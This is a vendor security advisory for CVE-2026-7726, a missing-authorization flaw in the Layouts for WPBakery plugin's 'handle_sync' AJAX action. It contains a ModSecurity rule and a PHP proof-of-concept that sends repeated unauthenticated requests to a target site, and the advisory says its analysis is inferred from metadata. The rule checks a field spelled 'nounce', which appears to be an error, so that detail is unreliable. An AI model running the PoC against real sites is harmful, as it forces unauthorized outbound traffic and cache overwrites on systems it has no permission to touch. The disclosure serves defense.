Atomic Edge analysis of CVE-2026-7726 (metadata-based):
The Layouts for WPBakery plugin, in versions up to and including 1.1.3, exposes an unauthenticated AJAX action named ‘handle_sync’ that allows attackers to trigger template and category cache synchronization. The vulnerable callback, Layouts_WPB_Remote::template_sync(), is registered for both logged-in and logged-out users via wp_ajax_nopriv_handle_sync. The vulnerability carries a CVSS score of 6.5, indicating medium severity, with no confidentiality impact but both integrity and availability impacts at a low level.
Root Cause: The root cause is a missing capability check on the AJAX handler. The plugin registers the action without verifying that the requesting user has the necessary permissions (e.g., manage_options) or a valid nonce. Without these checks, any unauthenticated visitor can invoke the handler. Atomic Edge analysis infers that the handler calls the plugin vendor’s external API, fetches JSON data, and stores it via set_transient() without validating the response structure or limiting the request rate. This conclusion is based on the CWE-862 classification and the vulnerability description; no source code was available for direct confirmation.
Exploitation: An attacker sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to ‘handle_sync’. No additional parameters are required, as the instruction description indicates the handler automatically fetches templates and categories from the vendor’s API. The server then issues outbound HTTP GET requests to ‘https://www.layoutsforwpbakery.com/wp-json/layoutsforwpbakery/v1/{templates,categories}’. The JSON-decoded responses are written verbatim into the wp_options table via set_transient(). The attacker can repeat this request arbitrarily, causing frequent outbound connections and overwriting stored transient data, thereby affecting plugin functionality and placing load on both the target and the vendor’s API.
Remediation: The fix in version 1.1.4 must add proper authorization checks to the handle_sync AJAX handler. Specifically, the handler should verify a valid nonce and restrict access to users with the appropriate capability, such as manage_options. Additionally, the handler should not be registered with wp_ajax_nopriv_, should rate-limit requests, and should validate or sanitize the API response before storing it. Atomic Edge analysis strongly recommends these measures to eliminate the unauthenticated access vector and prevent cache manipulation.
Impact: Successful exploitation allows an unauthenticated attacker to force repeated outbound HTTP requests to the plugin vendor’s API and overwrite the transient cache entries used for template and category data. This can degrade site performance, cause the plugin to display stale or inconsistent layout data, and potentially cause a denial of service by exhausting server resources or the vendor API’s rate limits. No direct data confidentiality breach occurs, but the integrity and availability of plugin data are affected.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-7726 (metadata-based)
# Block unauthenticated POST to admin-ajax.php with action=handle_sync
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20267726,phase:2,deny,status:403,chain,msg:'CVE-2026-7726 - Layouts for WPBakery cache manipulation via handle_sync AJAX action',severity:'CRITICAL',tag:'CVE-2026-7726'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS_POST:action "@streq handle_sync" "chain"
SecRule &ARGS_POST:nounce "@eq 0" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-7726 - Layouts for WPBakery <= 1.1.3 - Missing Authorization to Unauthenticated Template Cache Manipulation via 'handle_sync' AJAX Action
// This PoC demonstrates the unauthenticated trigger of the vulnerable AJAX action.
// It sends a POST request to admin-ajax.php with action=handle_sync.
// No nonce or authentication is required.
// Configuration
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // Change to the WordPress site URL
// Initialize cURL
$ch = curl_init($target_url);
// Set POST data with the vulnerable action
$post_data = array(
'action' => 'handle_sync'
);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
// Execute the request
$response = curl_exec($ch);
// Check for errors
if (curl_errno($ch)) {
fwrite(STDERR, 'cURL error: ' . curl_error($ch) . PHP_EOL);
exit(1);
}
curl_close($ch);
// Output the response (the plugin may return JSON or empty response)
echo "Response: " . var_export($response, true) . PHP_EOL;
// Repeat the request multiple times to force repeated cache syncs
for ($i = 0; $i < 10; $i++) {
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_exec($ch);
curl_close($ch);
usleep(100000); // small delay
}
echo "Repeated sync attempts completed." . PHP_EOL;
